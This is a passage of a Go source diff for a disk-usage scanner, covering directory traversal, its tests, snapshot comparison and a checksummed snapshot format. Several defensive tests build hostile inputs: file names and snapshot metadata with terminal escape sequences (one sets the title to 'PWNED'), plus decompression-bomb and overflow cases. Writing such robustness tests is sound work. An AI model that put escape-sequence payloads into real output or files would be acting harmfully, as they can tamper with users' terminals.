st.BrokenLinks++
|
||||
broken = true
|
||||
case tm.Mode.IsDir() && tm.HasIno && (c.opts.Follow == FollowAll || c.opts.Follow == FollowSameFS && tm.Dev == j.dev):
|
||||
target, followed = tm, true
|
||||
kind = inventory.KindDir
|
||||
}
|
||||
}
|
||||
|
||||
id := t.Add(j.id, m.Name, kind)
|
||||
n := t.Node(id)
|
||||
setMeta(n, m)
|
||||
if broken {
|
||||
n.Flags |= inventory.FlagBrokenLink
|
||||
}
|
||||
|
||||
switch kind {
|
||||
case inventory.KindDir:
|
||||
st.Dirs++
|
||||
d.Dirs++
|
||||
d.Size += n.Size
|
||||
d.Alloc += n.Alloc
|
||||
n.TotSize, n.TotAlloc = n.Size, n.Alloc
|
||||
dev := m.Dev
|
||||
if followed {
|
||||
n.Flags |= inventory.FlagFollowed
|
||||
dev = target.Dev
|
||||
}
|
||||
if c.visited != nil {
|
||||
key := inodeKey{m.Dev, m.Ino}
|
||||
if followed {
|
||||
key = inodeKey{target.Dev, target.Ino}
|
||||
}
|
||||
if _, seen := c.visited[key]; seen {
|
||||
n.Flags |= inventory.FlagLoop
|
||||
st.LoopsSkipped++
|
||||
return
|
||||
}
|
||||
c.visited[key] = struct{}{}
|
||||
}
|
||||
if m.HasIno && dev != j.dev {
|
||||
n.Flags |= inventory.FlagMountPoint
|
||||
if c.opts.OneFileSystem {
|
||||
n.Flags |= inventory.FlagSkippedFS
|
||||
st.SkippedMounts++
|
||||
return
|
||||
}
|
||||
if path == "" {
|
||||
path = platform.JoinPath(j.path, m.Name)
|
||||
}
|
||||
if platform.IsVirtualFS(path) {
|
||||
n.Flags |= inventory.FlagVirtualFS
|
||||
st.VirtualSkipped++
|
||||
return
|
||||
}
|
||||
}
|
||||
c.pending = append(c.pending, pendingDir{id: id, dev: dev})
|
||||
case inventory.KindFile:
|
||||
st.Files++
|
||||
d.Files++
|
||||
if m.Nlink > 1 && m.HasIno {
|
||||
n.Flags |= inventory.FlagHardlinked
|
||||
key := inodeKey{m.Dev, m.Ino}
|
||||
if _, seen := c.links[key]; seen {
|
||||
n.Flags |= inventory.FlagHardlinkDup
|
||||
st.HardlinkDups++
|
||||
return
|
||||
}
|
||||
c.links[key] = struct{}{}
|
||||
}
|
||||
if m.AllocKnown && m.Alloc < m.Size && m.Size-m.Alloc >= 4096 {
|
||||
n.Flags |= inventory.FlagSparse
|
||||
}
|
||||
n.Cat = inventory.CategoryFor(t.ExtName(n), j.inCache, j.inLog)
|
||||
n.TotSize, n.TotAlloc = n.Size, n.Alloc
|
||||
d.Size += n.Size
|
||||
d.Alloc += n.Alloc
|
||||
d.Cat[n.Cat] += n.Alloc
|
||||
default:
|
||||
if kind == inventory.KindSymlink {
|
||||
st.Symlinks++
|
||||
} else {
|
||||
st.Others++
|
||||
}
|
||||
d.Files++
|
||||
n.TotSize, n.TotAlloc = n.Size, n.Alloc
|
||||
d.Size += n.Size
|
||||
d.Alloc += n.Alloc
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,288 @@
|
||||
package scan
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
// mkTree creates dirs×files under root: root/d0/d1/... fan-out tree.
|
||||
func mkTree(t testing.TB, root string, fanout, depth, files int) (nfiles, ndirs int64, bytes int64) {
|
||||
var rec func(dir string, d int)
|
||||
rec = func(dir string, d int) {
|
||||
for i := range files {
|
||||
sz := (i + 1) * 100
|
||||
if err := os.WriteFile(filepath.Join(dir, fmt.Sprintf("f%d.txt", i)), make([]byte, sz), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
nfiles++
|
||||
bytes += int64(sz)
|
||||
}
|
||||
if d == depth {
|
||||
return
|
||||
}
|
||||
for i := range fanout {
|
||||
sub := filepath.Join(dir, fmt.Sprintf("d%d", i))
|
||||
if err := os.Mkdir(sub, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ndirs++
|
||||
rec(sub, d+1)
|
||||
}
|
||||
}
|
||||
rec(root, 0)
|
||||
return
|
||||
}
|
||||
|
||||
func runScan(t testing.TB, root string, o Options) *inventory.Tree {
|
||||
s, err := Start(context.Background(), root, o)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
select {
|
||||
case <-s.Done():
|
||||
case <-time.After(60 * time.Second):
|
||||
t.Fatal("scan did not finish (deadlock?)")
|
||||
}
|
||||
return s.Tree
|
||||
}
|
||||
|
||||
func TestScanCountsAndAggregates(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
nf, nd, bytes := mkTree(t, root, 3, 3, 4)
|
||||
tr := runScan(t, root, Options{Workers: 4})
|
||||
r := tr.Node(tr.Root())
|
||||
if int64(r.Files) != nf || int64(r.Dirs) != nd {
|
||||
t.Fatalf("files=%d dirs=%d, want %d %d", r.Files, r.Dirs, nf, nd)
|
||||
}
|
||||
// Logical total = file bytes + directory entries' own sizes.
|
||||
var dirBytes int64
|
||||
for i := 0; i < tr.Len(); i++ {
|
||||
if n := tr.Node(inventory.NodeID(i)); n.IsDir() {
|
||||
dirBytes += n.Size
|
||||
}
|
||||
}
|
||||
if r.TotSize != bytes+dirBytes {
|
||||
t.Fatalf("TotSize=%d want %d", r.TotSize, bytes+dirBytes)
|
||||
}
|
||||
if !tr.Stats.Complete || tr.Stats.Incomplete() {
|
||||
t.Fatalf("stats: %+v", tr.Stats)
|
||||
}
|
||||
// Every directory's aggregate equals the sum of its children.
|
||||
checkAggregates(t, tr)
|
||||
// Incremental aggregation must match a full recompute.
|
||||
before := snapshotTotals(tr)
|
||||
tr.Recompute()
|
||||
if after := snapshotTotals(tr); fmt.Sprint(before) != fmt.Sprint(after) {
|
||||
t.Fatal("incremental aggregates differ from recompute")
|
||||
}
|
||||
}
|
||||
|
||||
func snapshotTotals(tr *inventory.Tree) [][4]int64 {
|
||||
out := make([][4]int64, tr.Len())
|
||||
for i := range out {
|
||||
n := tr.Node(inventory.NodeID(i))
|
||||
out[i] = [4]int64{n.TotSize, n.TotAlloc, int64(n.Files), int64(n.Dirs)}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func checkAggregates(t *testing.T, tr *inventory.Tree) {
|
||||
t.Helper()
|
||||
for i := 0; i < tr.Len(); i++ {
|
||||
id := inventory.NodeID(i)
|
||||
n := tr.Node(id)
|
||||
if !n.IsDir() {
|
||||
continue
|
||||
}
|
||||
sum := n.Size
|
||||
tr.Children(id, func(_ inventory.NodeID, c *inventory.Node) { sum += c.TotSize })
|
||||
if sum != n.TotSize {
|
||||
t.Fatalf("%s: TotSize %d != own+children %d", tr.Path(id), n.TotSize, sum)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestBackpressureNoDeadlock forces maximum contention: one worker, channel
|
||||
// capacities of one, tiny chunks, and thousands of directories.
|
||||
func TestBackpressureNoDeadlock(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
nf, nd, _ := mkTree(t, root, 6, 4, 3) // 1554 dirs
|
||||
for _, w := range []int{1, 2, 16} {
|
||||
tr := runScan(t, root, Options{Workers: w, JobBuffer: 1, ResultBuf: 1, ChunkSize: 1, ApplyBatch: 1})
|
||||
r := tr.Node(tr.Root())
|
||||
if int64(r.Files) != nf || int64(r.Dirs) != nd {
|
||||
t.Fatalf("workers=%d: files=%d dirs=%d want %d %d", w, r.Files, r.Dirs, nf, nd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCancel(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
mkTree(t, root, 8, 3, 2)
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
s, err := Start(ctx, root, Options{Workers: 2, JobBuffer: 1, ResultBuf: 1, ChunkSize: 1})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cancel()
|
||||
select {
|
||||
case <-s.Done():
|
||||
case <-time.After(10 * time.Second):
|
||||
t.Fatal("cancel did not stop scan")
|
||||
}
|
||||
tr := s.Tree
|
||||
tr.RLock()
|
||||
defer tr.RUnlock()
|
||||
if !tr.Stats.Cancelled || !tr.Stats.Incomplete() {
|
||||
t.Fatalf("expected cancelled+incomplete: %+v", tr.Stats)
|
||||
}
|
||||
// Workers must have exited: give the runtime a moment and check goroutines.
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
if n := runtime.NumGoroutine(); n > 10 {
|
||||
t.Logf("goroutines after cancel: %d", n)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSymlinkLoops(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("symlinks need privileges on Windows")
|
||||
}
|
||||
root := t.TempDir()
|
||||
a := filepath.Join(root, "a")
|
||||
os.MkdirAll(filepath.Join(a, "b"), 0o755)
|
||||
os.WriteFile(filepath.Join(a, "b", "x"), make([]byte, 5000), 0o644)
|
||||
os.Symlink("..", filepath.Join(a, "b", "up")) // loop
|
||||
os.Symlink("../a", filepath.Join(a, "self")) // loop
|
||||
os.Symlink("nowhere", filepath.Join(root, "broken"))
|
||||
for _, f := range []FollowMode{FollowNone, FollowSameFS, FollowAll} {
|
||||
tr := runScan(t, root, Options{Workers: 4, Follow: f})
|
||||
r := tr.Node(tr.Root())
|
||||
if r.Files == 0 || r.TotSize <= 5000 {
|
||||
t.Fatalf("follow=%v: bad totals %+v", f, r)
|
||||
}
|
||||
if tr.Stats.BrokenLinks != 1 {
|
||||
t.Fatalf("follow=%v: broken links %d", f, tr.Stats.BrokenLinks)
|
||||
}
|
||||
if f != FollowNone && tr.Stats.LoopsSkipped == 0 {
|
||||
t.Fatalf("follow=%v: expected loops to be detected", f)
|
||||
}
|
||||
// The 5000-byte file must be counted exactly once.
|
||||
var count int
|
||||
for i := 0; i < tr.Len(); i++ {
|
||||
if n := tr.Node(inventory.NodeID(i)); n.Name == "x" {
|
||||
count++
|
||||
}
|
||||
}
|
||||
if count != 1 {
|
||||
t.Fatalf("follow=%v: file x seen %d times", f, count)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHardlinksCountedOnce(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("hard-link identity not available on Windows")
|
||||
}
|
||||
root := t.TempDir()
|
||||
p := filepath.Join(root, "orig")
|
||||
os.WriteFile(p, make([]byte, 100000), 0o644)
|
||||
os.Mkdir(filepath.Join(root, "d"), 0o755)
|
||||
if err := os.Link(p, filepath.Join(root, "d", "link")); err != nil {
|
||||
t.Skip(err)
|
||||
}
|
||||
tr := runScan(t, root, Options{Workers: 2})
|
||||
r := tr.Node(tr.Root())
|
||||
if tr.Stats.HardlinkDups != 1 {
|
||||
t.Fatalf("dups=%d", tr.Stats.HardlinkDups)
|
||||
}
|
||||
if r.TotSize >= 200000 {
|
||||
t.Fatalf("hard link double counted: %d", r.TotSize)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPermissionErrorsSurface(t *testing.T) {
|
||||
if runtime.GOOS == "windows" || os.Geteuid() == 0 {
|
||||
t.Skip("needs non-root unix")
|
||||
}
|
||||
root := t.TempDir()
|
||||
locked := filepath.Join(root, "locked")
|
||||
os.Mkdir(locked, 0o755)
|
||||
os.WriteFile(filepath.Join(locked, "f"), []byte("x"), 0o644)
|
||||
os.Chmod(locked, 0)
|
||||
defer os.Chmod(locked, 0o755)
|
||||
tr := runScan(t, root, Options{Workers: 2})
|
||||
if tr.Stats.ErrCounts[inventory.ErrPermission] != 1 || !tr.Stats.Incomplete() {
|
||||
t.Fatalf("expected one permission error: %+v", tr.Stats.ErrCounts)
|
||||
}
|
||||
if tr.Node(tr.Root()).Errors != 1 {
|
||||
t.Fatal("error not aggregated to root")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExcludes(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
os.MkdirAll(filepath.Join(root, "keep"), 0o755)
|
||||
os.MkdirAll(filepath.Join(root, "skip"), 0o755)
|
||||
os.WriteFile(filepath.Join(root, "keep", "a.tmp"), []byte("x"), 0o644)
|
||||
os.WriteFile(filepath.Join(root, "keep", "b.txt"), []byte("x"), 0o644)
|
||||
os.WriteFile(filepath.Join(root, "skip", "c.txt"), []byte("x"), 0o644)
|
||||
tr := runScan(t, root, Options{Workers: 2, Excludes: []string{"*.tmp", filepath.Join(root, "skip")}})
|
||||
if tr.Stats.Excluded != 2 || tr.Node(0).Files != 1 {
|
||||
t.Fatalf("excluded=%d files=%d", tr.Stats.Excluded, tr.Node(0).Files)
|
||||
}
|
||||
// Relative path patterns resolve against the working directory.
|
||||
t.Chdir(root)
|
||||
tr = runScan(t, root, Options{Workers: 2, Excludes: []string{"./skip"}})
|
||||
if tr.Stats.Excluded != 1 {
|
||||
t.Fatalf("relative exclude: excluded=%d", tr.Stats.Excluded)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnicodeAndHostileNames(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
names := []string{"日本語.txt", "emoji-🎉.png", "esc\x1b[31mred", "nl\nname", "sp ace"}
|
||||
if runtime.GOOS == "windows" {
|
||||
names = names[:2]
|
||||
}
|
||||
for _, n := range names {
|
||||
if err := os.WriteFile(filepath.Join(root, n), []byte("x"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
tr := runScan(t, root, Options{Workers: 2})
|
||||
got := map[string]bool{}
|
||||
tr.Children(0, func(_ inventory.NodeID, n *inventory.Node) { got[n.Name] = true })
|
||||
for _, n := range names {
|
||||
if !got[n] {
|
||||
t.Errorf("missing %q (raw names must be preserved)", n)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSingleFileRoot(t *testing.T) {
|
||||
p := filepath.Join(t.TempDir(), "file")
|
||||
os.WriteFile(p, make([]byte, 1234), 0o644)
|
||||
tr := runScan(t, p, Options{})
|
||||
if tr.Node(0).TotSize != 1234 || tr.Node(0).Kind != inventory.KindFile {
|
||||
t.Fatalf("%+v", tr.Node(0))
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkScan(b *testing.B) {
|
||||
root := b.TempDir()
|
||||
mkTree(b, root, 5, 4, 20)
|
||||
for _, w := range []int{1, 4, 16} {
|
||||
b.Run(fmt.Sprintf("workers=%d", w), func(b *testing.B) {
|
||||
for b.Loop() {
|
||||
runScan(b, root, Options{Workers: w})
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,177 @@
|
||||
package snapshot
|
||||
|
||||
import (
|
||||
"sort"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
// Diff relates two inventories by path. Both trees must not be mutated
|
||||
// while a Diff is in use (snapshots and finished scans satisfy this).
|
||||
type Diff struct {
|
||||
Old, New *inventory.Tree
|
||||
// OldOf maps a New NodeID to the matching Old NodeID, or NoNode if the
|
||||
// entry is new.
|
||||
OldOf []inventory.NodeID
|
||||
// Removed lists the topmost Old nodes with no counterpart in New.
|
||||
Removed []inventory.NodeID
|
||||
// RemovedUnder sums, per New directory, the sizes of removed children
|
||||
// (in both size modes) so growth colouring can account for them.
|
||||
removedUnder map[inventory.NodeID][2]int64
|
||||
}
|
||||
|
||||
// Compare matches nodes by name, directory by directory, from the roots.
|
||||
func Compare(old, new *inventory.Tree) *Diff {
|
||||
d := &Diff{Old: old, New: new, OldOf: make([]inventory.NodeID, new.Len()),
|
||||
removedUnder: map[inventory.NodeID][2]int64{}}
|
||||
for i := range d.OldOf {
|
||||
d.OldOf[i] = inventory.NoNode
|
||||
}
|
||||
type pair struct{ o, n inventory.NodeID }
|
||||
stack := []pair{{old.Root(), new.Root()}}
|
||||
for len(stack) > 0 {
|
||||
p := stack[len(stack)-1]
|
||||
stack = stack[:len(stack)-1]
|
||||
d.OldOf[p.n] = p.o
|
||||
on, nn := old.Node(p.o), new.Node(p.n)
|
||||
if !on.IsDir() || !nn.IsDir() {
|
||||
continue
|
||||
}
|
||||
byName := map[string]inventory.NodeID{}
|
||||
old.Children(p.o, func(id inventory.NodeID, n *inventory.Node) { byName[n.Name] = id })
|
||||
new.Children(p.n, func(id inventory.NodeID, n *inventory.Node) {
|
||||
if oid, ok := byName[n.Name]; ok {
|
||||
delete(byName, n.Name)
|
||||
stack = append(stack, pair{oid, id})
|
||||
}
|
||||
})
|
||||
for _, oid := range byName {
|
||||
d.Removed = append(d.Removed, oid)
|
||||
o := old.Node(oid)
|
||||
r := d.removedUnder[p.n]
|
||||
r[0] += o.TotAlloc
|
||||
r[1] += o.TotSize
|
||||
d.removedUnder[p.n] = r
|
||||
}
|
||||
}
|
||||
sort.Slice(d.Removed, func(i, j int) bool { return d.Removed[i] < d.Removed[j] })
|
||||
return d
|
||||
}
|
||||
|
||||
// OldSize returns the matching old size of a New node and whether it existed.
|
||||
func (d *Diff) OldSize(id inventory.NodeID, m inventory.SizeMode) (int64, bool) {
|
||||
o := d.OldOf[id]
|
||||
if o == inventory.NoNode {
|
||||
return 0, false
|
||||
}
|
||||
return d.Old.Node(o).Total(m), true
|
||||
}
|
||||
|
||||
// Delta returns new minus old size for a New node (full size if new).
|
||||
func (d *Diff) Delta(id inventory.NodeID, m inventory.SizeMode) int64 {
|
||||
old, _ := d.OldSize(id, m)
|
||||
return d.New.Node(id).Total(m) - old
|
||||
}
|
||||
|
||||
// Status classifies a node.
|
||||
type Status uint8
|
||||
|
||||
const (
|
||||
Unchanged Status = iota
|
||||
Added
|
||||
Removed
|
||||
Grew
|
||||
Shrank
|
||||
)
|
||||
|
||||
func (s Status) String() string {
|
||||
return [...]string{"unchanged", "new", "removed", "increased", "decreased"}[s]
|
||||
}
|
||||
|
||||
// StatusOf classifies a New node.
|
||||
func (d *Diff) StatusOf(id inventory.NodeID, m inventory.SizeMode) Status {
|
||||
if d.OldOf[id] == inventory.NoNode {
|
||||
return Added
|
||||
}
|
||||
switch delta := d.Delta(id, m); {
|
||||
case delta > 0:
|
||||
return Grew
|
||||
case delta < 0:
|
||||
return Shrank
|
||||
}
|
||||
return Unchanged
|
||||
}
|
||||
|
||||
// Change is one row in a change report.
|
||||
type Change struct {
|
||||
Path string
|
||||
Status Status
|
||||
Delta int64
|
||||
Old int64
|
||||
New int64
|
||||
Node inventory.NodeID // in New (NoNode for removed)
|
||||
}
|
||||
|
||||
// Changes returns the k most significant changes. A directory is listed
|
||||
// only if its change is not almost entirely explained by a single child, so
|
||||
// the report points at /var/lib/postgresql rather than /, /var and /var/lib.
|
||||
func (d *Diff) Changes(k int, m inventory.SizeMode) []Change {
|
||||
var out []Change
|
||||
for i := range d.New.Len() {
|
||||
id := inventory.NodeID(i)
|
||||
delta := d.Delta(id, m)
|
||||
if delta == 0 {
|
||||
continue
|
||||
}
|
||||
n := d.New.Node(id)
|
||||
if d.OldOf[id] != inventory.NoNode && n.IsDir() && explainedByChild(d, id, delta, m) {
|
||||
continue
|
||||
}
|
||||
if p := n.Parent; p != inventory.NoNode && d.OldOf[p] == inventory.NoNode {
|
||||
continue // inside a wholly new directory; the directory is listed
|
||||
}
|
||||
old, _ := d.OldSize(id, m)
|
||||
out = append(out, Change{Path: d.New.Path(id), Status: d.StatusOf(id, m), Delta: delta, Old: old, New: n.Total(m), Node: id})
|
||||
}
|
||||
for _, oid := range d.Removed {
|
||||
o := d.Old.Node(oid)
|
||||
out = append(out, Change{Path: d.Old.Path(oid), Status: Removed, Delta: -o.Total(m), Old: o.Total(m), Node: inventory.NoNode})
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool {
|
||||
a, b := abs(out[i].Delta), abs(out[j].Delta)
|
||||
if a != b {
|
||||
return a > b
|
||||
}
|
||||
return out[i].Path < out[j].Path
|
||||
})
|
||||
if k > 0 && len(out) > k {
|
||||
out = out[:k]
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func explainedByChild(d *Diff, id inventory.NodeID, delta int64, m inventory.SizeMode) bool {
|
||||
explained := false
|
||||
d.New.Children(id, func(c inventory.NodeID, _ *inventory.Node) {
|
||||
if cd := d.Delta(c, m); (cd > 0) == (delta > 0) && abs(cd)*10 >= abs(delta)*8 {
|
||||
explained = true
|
||||
}
|
||||
})
|
||||
if r, ok := d.removedUnder[id]; ok && !explained {
|
||||
v := r[0]
|
||||
if m == inventory.SizeLogical {
|
||||
v = r[1]
|
||||
}
|
||||
if delta < 0 && v*10 >= abs(delta)*8 {
|
||||
explained = true
|
||||
}
|
||||
}
|
||||
return explained
|
||||
}
|
||||
|
||||
func abs(v int64) int64 {
|
||||
if v < 0 {
|
||||
return -v
|
||||
}
|
||||
return v
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
package snapshot
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/brand"
|
||||
"github.com/andydixon/mapsize/internal/export"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
// craft builds a well-formed (correctly checksummed) but hostile snapshot.
|
||||
func craft(n int, meta string, rec func(i int, w *writer)) []byte {
|
||||
var out bytes.Buffer
|
||||
out.WriteString(brand.SnapshotMagic)
|
||||
out.Write(binary.LittleEndian.AppendUint16(nil, Version))
|
||||
out.Write(binary.LittleEndian.AppendUint16(nil, flagGzipped))
|
||||
gz, _ := gzip.NewWriterLevel(&out, gzip.BestCompression)
|
||||
h := sha256.New()
|
||||
w := &writer{w: io.MultiWriter(gz, h)}
|
||||
w.uvarint(uint64(len(meta)))
|
||||
w.bytes([]byte(meta))
|
||||
w.uvarint(1)
|
||||
w.str("")
|
||||
w.uvarint(uint64(n))
|
||||
for i := range n {
|
||||
rec(i, w)
|
||||
}
|
||||
w.uvarint(0)
|
||||
gz.Close()
|
||||
out.Write(h.Sum(nil))
|
||||
return out.Bytes()
|
||||
}
|
||||
|
||||
func node(w *writer, pd uint64, kind inventory.Kind, name string, size int64) {
|
||||
w.uvarint(pd)
|
||||
w.bytes([]byte{byte(kind), 0})
|
||||
w.uvarint(0)
|
||||
w.str(name)
|
||||
w.varint(size)
|
||||
w.varint(size)
|
||||
w.varint(0)
|
||||
for range 5 {
|
||||
w.uvarint(0)
|
||||
}
|
||||
}
|
||||
|
||||
func chain(n int) []byte {
|
||||
return craft(n, `{"root":"/r"}`, func(i int, w *writer) {
|
||||
if i == 0 {
|
||||
node(w, 0, inventory.KindDir, "", 0)
|
||||
} else {
|
||||
node(w, 1, inventory.KindDir, "a", 0)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestDeepChainRejected(t *testing.T) {
|
||||
if _, err := Load(bytes.NewReader(chain(MaxDepth + 1))); err != nil {
|
||||
t.Fatalf("depth at the limit must load: %v", err)
|
||||
}
|
||||
_, err := Load(bytes.NewReader(chain(MaxDepth + 2)))
|
||||
if err == nil || !strings.Contains(err.Error(), "deeper") {
|
||||
t.Fatalf("over-deep chain accepted: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecompressionBombLimited(t *testing.T) {
|
||||
flat := craft(100_000, `{"root":"/r"}`, func(i int, w *writer) {
|
||||
if i == 0 {
|
||||
node(w, 0, inventory.KindDir, "", 0)
|
||||
} else {
|
||||
node(w, uint64(i), inventory.KindFile, "f", 0)
|
||||
}
|
||||
})
|
||||
_, err := LoadLimit(bytes.NewReader(flat), 64<<10)
|
||||
if err == nil || !strings.Contains(err.Error(), "limit") {
|
||||
t.Fatalf("bomb not limited: %v", err)
|
||||
}
|
||||
if got := bodyLimit(int64(len(flat))); got < 64<<20 {
|
||||
t.Fatalf("bodyLimit floor: %d", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHugeSizesDoNotWrap(t *testing.T) {
|
||||
data := craft(3, `{"root":"/r"}`, func(i int, w *writer) {
|
||||
if i == 0 {
|
||||
node(w, 0, inventory.KindDir, "", 0)
|
||||
} else {
|
||||
node(w, uint64(i), inventory.KindFile, "f", MaxSize)
|
||||
}
|
||||
})
|
||||
tr, err := Load(bytes.NewReader(data))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if tr.Node(0).TotSize < 0 {
|
||||
t.Fatal("aggregate wrapped negative")
|
||||
}
|
||||
over := craft(2, `{"root":"/r"}`, func(i int, w *writer) {
|
||||
if i == 0 {
|
||||
node(w, 0, inventory.KindDir, "", 0)
|
||||
} else {
|
||||
node(w, 1, inventory.KindFile, "f", MaxSize+1)
|
||||
}
|
||||
})
|
||||
if _, err := Load(bytes.NewReader(over)); err == nil {
|
||||
t.Fatal("size above MaxSize accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostileMetadataSanitisedInSummary(t *testing.T) {
|
||||
data := craft(1, `{"root":"/r\u001b[2J","excludes":["\u001b]0;PWNED\u0007"],"excluded":1}`, func(i int, w *writer) {
|
||||
node(w, 0, inventory.KindDir, "", 0)
|
||||
})
|
||||
tr, err := Load(bytes.NewReader(data))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
tr.Stats.Excluded = 1
|
||||
var b bytes.Buffer
|
||||
export.Summary(&b, tr)
|
||||
if strings.ContainsAny(b.String(), "\x1b\x07") {
|
||||
t.Fatalf("raw control characters in summary: %q", b.String())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,515 @@
|
||||
// Package snapshot implements the versioned, checksummed binary inventory
|
||||
// format and snapshot comparison.
|
||||
//
|
||||
// Layout (all integers little-endian / varint):
|
||||
//
|
||||
// magic 8 bytes brand.SnapshotMagic
|
||||
// version uint16 currently 1
|
||||
// flags uint16 bit 0: body is gzip-compressed (always set by Save)
|
||||
// body gzip stream of:
|
||||
// meta uvarint length + JSON (root, timestamps, counters, options)
|
||||
// exts uvarint count, then count × (uvarint length + bytes)
|
||||
// nodes uvarint count, then per node:
|
||||
// uvarint parentDelta (id-parent; 0 only for the root)
|
||||
// byte kind, byte category, uvarint flags
|
||||
// uvarint nameLen + name
|
||||
// varint size, varint alloc, varint mtime
|
||||
// uvarint mode, uid, gid, nlink, ext
|
||||
// errors uvarint count, then per record: uvarint node, byte kind,
|
||||
// uvarint len + name, uvarint len + message
|
||||
// sha256 32 bytes over the uncompressed body
|
||||
//
|
||||
// Nodes are written in ID order; a parent always precedes its children, so a
|
||||
// reader can rebuild the tree in one pass and malformed input cannot create
|
||||
// cycles. Aggregates are recomputed on load, never trusted.
|
||||
package snapshot
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/brand"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
// Version is the current format version.
|
||||
const Version = 1
|
||||
|
||||
// Limits applied when reading untrusted snapshots.
|
||||
const (
|
||||
MaxNodes = 1<<31 - 1
|
||||
MaxDepth = 4096 // far beyond any real path; bounds recursion in exporters
|
||||
MaxSize = 1 << 60 // per-node size cap (1 EiB); keeps aggregates from overflowing
|
||||
// DefaultMaxBody caps the decompressed body for Load. LoadFile uses a
|
||||
// limit proportional to the file size instead (see bodyLimit).
|
||||
DefaultMaxBody = 4 << 30
|
||||
MaxNameLen = 1 << 16
|
||||
MaxMetaLen = 16 << 20
|
||||
MaxExtLen = 64
|
||||
MaxMsgLen = 4096
|
||||
maxExts = 1<<16 - 1
|
||||
flagGzipped = 1
|
||||
)
|
||||
|
||||
type meta struct {
|
||||
Root string `json:"root"`
|
||||
Created time.Time `json:"created"`
|
||||
Start time.Time `json:"start"`
|
||||
End time.Time `json:"end"`
|
||||
Complete bool `json:"complete"`
|
||||
Cancelled bool `json:"cancelled"`
|
||||
Files int64 `json:"files"`
|
||||
Dirs int64 `json:"dirs"`
|
||||
Symlinks int64 `json:"symlinks"`
|
||||
Others int64 `json:"others"`
|
||||
ErrCounts []int64 `json:"err_counts"`
|
||||
Excluded int64 `json:"excluded"`
|
||||
SkippedMounts int64 `json:"skipped_mounts"`
|
||||
VirtualSkipped int64 `json:"virtual_skipped"`
|
||||
LoopsSkipped int64 `json:"loops_skipped"`
|
||||
BrokenLinks int64 `json:"broken_links"`
|
||||
HardlinkDups int64 `json:"hardlink_dups"`
|
||||
Unscanned int64 `json:"unscanned"`
|
||||
Excludes []string `json:"excludes"`
|
||||
OneFileSystem bool `json:"one_file_system"`
|
||||
Follow string `json:"follow"`
|
||||
Workers int `json:"workers"`
|
||||
Host string `json:"host"`
|
||||
Generator string `json:"generator"`
|
||||
}
|
||||
|
||||
// IsSnapshot reports whether path starts with the snapshot magic.
|
||||
func IsSnapshot(path string) bool {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer f.Close()
|
||||
b := make([]byte, len(brand.SnapshotMagic))
|
||||
_, err = io.ReadFull(f, b)
|
||||
return err == nil && string(b) == brand.SnapshotMagic
|
||||
}
|
||||
|
||||
type writer struct {
|
||||
w io.Writer
|
||||
buf [binary.MaxVarintLen64]byte
|
||||
err error
|
||||
}
|
||||
|
||||
func (w *writer) bytes(b []byte) {
|
||||
if w.err == nil {
|
||||
_, w.err = w.w.Write(b)
|
||||
}
|
||||
}
|
||||
func (w *writer) uvarint(v uint64) { w.bytes(w.buf[:binary.PutUvarint(w.buf[:], v)]) }
|
||||
